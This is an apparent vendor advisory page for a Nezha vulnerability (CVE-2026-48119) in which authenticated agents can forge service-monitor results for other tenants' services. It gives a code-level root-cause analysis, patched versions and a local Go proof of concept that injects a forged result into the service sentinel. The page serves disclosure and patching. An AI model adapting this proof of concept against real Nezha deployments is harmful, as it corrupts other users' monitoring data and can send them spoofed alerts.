Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-4g6j-g789-rghm

HIGHFix: nezhahq/nezha@02129f1

GHSA-4g6j-g789-rghm is a high-severity (CVSS 7.1) CWE-862 vulnerability in github.com/nezhahq/nezha. O3 Security confirms whether GHSA-4g6j-g789-rghm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Nezha's authenticated agents can forge service-monitor results for other users' services

Also known asCVE-2026-48119
Published
Jun 1, 2026
Updated
Jun 26, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4g6j-g789-rghm.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk
0.00%0.26%0.51%0.77%0.3%0.3%0.3%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-4g6j-g789-rghm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐹github.com/nezhahq/nezha🐹github.com/nezhahq/nezha

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Nezha accepts service-monitor TaskResult messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task.

A low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user's service ID. This allows cross-tenant corruption of service-monitor history/current state, and can influence victim-owned service notifications with attacker-controlled result text.

Details

The agent task stream accepts inbound TaskResult messages after authenticating agent metadata:

  • service/rpc/auth.go:23-60 validates client_secret and client_uuid.
  • service/rpc/auth.go:63-75 registers an unknown valid UUID as a server for the authenticated secret owner.
  • service/rpc/nezha.go:40-48 authenticates the RequestTask stream and binds it to clientID.
  • service/rpc/nezha.go:50-56 receives agent-controlled TaskResult messages.
  • proto/nezha.proto:60-65 defines attacker-controlled TaskResult.id, type, delay, data, and successful.

For service-monitor task types, the result is dispatched directly to the service sentinel using the authenticated server ID as reporter:

  • service/rpc/nezha.go:85-90 dispatches service-monitor result types to ServiceSentinelShared.Dispatch with Reporter: clientID.
  • model/service.go:131-140 treats non-operational task types as service-monitor result types.

The vulnerable authorization gap is in the service-monitor worker:

  • service/singleton/servicesentinel.go:475-483 checks only that r.Data.GetId() resolves to an existing service.
  • It does not check that r.Reporter is covered by that service.
  • It does not check that the service owner owns the reporter server.
  • It does not check that the dashboard actually sent this service-monitor task to that agent.

The forged result is then recorded and used for service status processing:

  • service/singleton/servicesentinel.go:487-528 records ping service history keyed by ServiceID and Reporter.
  • service/singleton/servicesentinel.go:543-624 updates today's status, current service state, and state-change handling.
  • service/singleton/servicesentinel.go:723-739 can send victim-owned notifications containing mh.Data, which is attacker-controlled result text.

This is inconsistent with outbound service-monitor dispatch, which does enforce service coverage and ownership before sending tasks to agents:

  • cmd/dashboard/rpc/rpc.go:84-109 sends service-monitor tasks only to selected/non-skipped servers according to Service.Cover and SkipServers.
  • cmd/dashboard/rpc/rpc.go:96-107 calls canSendTaskToServer before sending.
  • cmd/dashboard/rpc/rpc.go:182-193 permits outbound dispatch only when the service owner owns the server, or when the service owner is an admin.
  • cmd/dashboard/controller/service.go:478-480 and cmd/dashboard/controller/service.go:590-607 validate selected servers, trigger tasks, and notification groups during service creation/update.

The inbound result path should mirror these authorization checks before accepting a result.

PoC

The following local PoC creates a temporary Go test file in service/singleton, uses an in-memory SQLite database, does not start the dashboard listener, does not contact public systems, and removes the temporary test file on exit.

The PoC proves the vulnerable processing path by creating:

  • victim user ID 100;
  • victim service ID 10;
  • victim server ID 1;
  • attacker user ID 200;
  • attacker reporter server ID 2.

The victim service is configured with ServiceCoverIgnoreAll and only server 1 enabled. Therefore, the dashboard's outbound service-monitor dispatch logic would not send this task to attacker server 2.

The forged inbound result from reporter 2 is nevertheless accepted and creates a ServiceHistory row for victim service 10.

Environment tested:

  • Repository: https://github.com/nezhahq/nezha.git
  • Commit: 79c06d0f95ad4e0eedc01a72fc0c54f4666cb0bf
  • OS: Linux
  • Test date: 2026-05-19

From a clean checkout of the tested commit, run:

set -e
pocfile=$(mktemp service/singleton/service_spoof_poc_XXXX_test.go)
cleanup() {
  rm -f "$pocfile"
}
trap cleanup EXIT

cat > "$pocfile" <<'EOF'
package singleton

import (
	"testing"
	"time"

	"github.com/patrickmn/go-cache"
	"github.com/robfig/cron/v3"
	"gorm.io/driver/sqlite"
	"gorm.io/gorm"

	"github.com/nezhahq/nezha/model"
	pb "github.com/nezhahq/nezha/proto"
)

func replaceServerSharedForSpoofPoC(t *testing.T, servers ...*model.Server) {
	t.Helper()

	original := ServerShared
	serverClass := &ServerClass{
		class: class[uint64, *model.Server]{
			list: make(map[uint64]*model.Server),
		},
		uuidToID: make(map[string]uint64),
	}
	for _, server := range servers {
		serverClass.list[server.ID] = server
	}
	ServerShared = serverClass
	t.Cleanup(func() { ServerShared = original })
}

func TestForgedAgentServiceResultCreatesHistoryForUnassignedService(t *testing.T) {
	originalDB := DB
	originalConf := Conf
	originalCache := Cache
	originalCronShared := CronShared
	originalServerShared := ServerShared
	originalServiceSentinelShared := ServiceSentinelShared
	originalNotificationShared := NotificationShared
	originalTSDB := TSDBShared
	originalLoc := Loc

	t.Cleanup(func() {
		DB = originalDB
		Conf = originalConf
		Cache = originalCache
		CronShared = originalCronShared
		ServerShared = originalServerShared
		ServiceSentinelShared = originalServiceSentinelShared
		NotificationShared = originalNotificationShared
		TSDBShared = originalTSDB
		Loc = originalLoc
	})

	db, err := gorm.Open(sqlite.Open("file::memory:?cache=shared"), &gorm.Config{})
	if err != nil {
		t.Fatal(err)
	}
	DB = db

	if err := DB.AutoMigrate(
		model.Server{},
		model.Service{},
		model.ServiceHistory{},
		model.Notification{},
		model.NotificationGroup{},
		model.NotificationGroupNotification{},
	); err != nil {
		t.Fatal(err)
	}

	Conf = &ConfigClass{Config: &model.Config{AvgPingCount: 1}}
	Cache = cache.New(time.Minute, time.Minute)
	CronShared = &CronClass{
		Cron:  cron.New(cron.WithSeconds()),
		class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}},
	}
	NotificationShared = &NotificationClass{
		class:         class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}},
		groupToIDList: map[uint64]map[uint64]*model.Notification{},
		idToGroupList: map[uint64]map[uint64]struct{}{},
		groupList:     map[uint64]string{},
	}

	replaceServerSharedForSpoofPoC(t,
		&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "victim-server"},
		&model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "attacker-agent"},
	)

	Loc = time.UTC

	bus := make(chan *model.Service, 1)
	ss, err := NewServiceSentinel(bus)
	if err != nil {
		t.Fatal(err)
	}
	ServiceSentinelShared = ss

	victimService := &model.Service{
		Common:      model.Common{ID: 10, UserID: 100},
		Name:        "victim-private-service",
		Type:        model.TaskTypeTCPPing,
		Target:      "example.invalid:443",
		Duration:    3600,
		Cover:       model.ServiceCoverIgnoreAll,
		SkipServers: map[uint64]bool{1: true},
	}
	if err := DB.Create(victimService).Error; err != nil {
		t.Fatal(err)
	}
	if err := ss.Update(victimService); err != nil {
		t.Fatal(err)
	}

	ss.Dispatch(ReportData{
		Reporter: 2,
		Data: &pb.TaskResult{
			Id:         10,
			Type:       model.TaskTypeTCPPing,
			Delay:      12,
			Data:       "forged result from unauthorized agent",
			Successful: true,
		},
	})

	deadline := time.After(2 * time.Second)
	for {
		var count int64
		if err := DB.Model(&model.ServiceHistory{}).
			Where("service_id = ? AND server_id = ?", 10, 2).
			Count(&count).Error; err != nil {
			t.Fatal(err)
		}

		if count > 0 {
			return
		}

		select {
		case <-deadline:
			t.Fatalf("expected forged history row for service 10 from unauthorized reporter 2")
		default:
			time.Sleep(10 * time.Millisecond)
		}
	}
}
EOF

go test ./service/singleton -run TestForgedAgentServiceResultCreatesHistoryForUnassignedService -count=1 -v

Expected vulnerable output:

=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService
PASS
ok  	github.com/nezhahq/nezha/service/singleton

Observed output in my local test environment:

=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService (0.01s)
PASS
ok  	github.com/nezhahq/nezha/service/singleton	0.020s

The test passes because a forged result from reporter server 2 creates a service-history row for victim service 10, even though service 10 only covers victim server 1.

A fixed version should reject or ignore this forged result. After a fix, the current PoC should fail at the assertion waiting for a ServiceHistory row unless the test is changed to assert that count == 0.

Note: this is a local processing-path PoC. It directly exercises the same service sentinel worker that the authenticated gRPC RequestTask path dispatches to. It does not open a network gRPC connection, send real notifications, or execute commands.

Impact

A low-privilege Nezha user with a valid agent secret can forge service-monitor results for services outside their ownership boundary.

Confirmed impact:

  • Cross-tenant service-monitor integrity violation.
  • False service history entries for victim-owned services.
  • Poisoned service availability/current-state data.

Likely impact through the same processing path:

  • Victim-owned service notifications can be triggered with attacker-controlled result text.
  • Monitoring reliability can be degraded by false up/down/latency results.

This does not require dashboard administrator privileges. The attacker only needs a normal account/agent secret and one registered agent/server.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/nezhahq/nezha0.20.0&&< 1.14.15-0.20260521020202-02129f16fb151.14.15-0.20260521020202-02129f16fb15
🐹Gogithub.com/nezhahq/nezha2.0.0&&< 2.0.122.0.12

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/nezhahq/nezha. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/nezhahq/nezha to 1.14.15-0.20260521020202-02129f16fb15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4g6j-g789-rghm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4g6j-g789-rghm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4g6j-g789-rghm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

#### Summary Nezha accepts service-monitor `TaskResult` messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task. A low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user's service ID. This allows cross-t
O3 Security · Impact-Aware SCA

Is GHSA-4g6j-g789-rghm in your dependencies?

O3 detects GHSA-4g6j-g789-rghm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.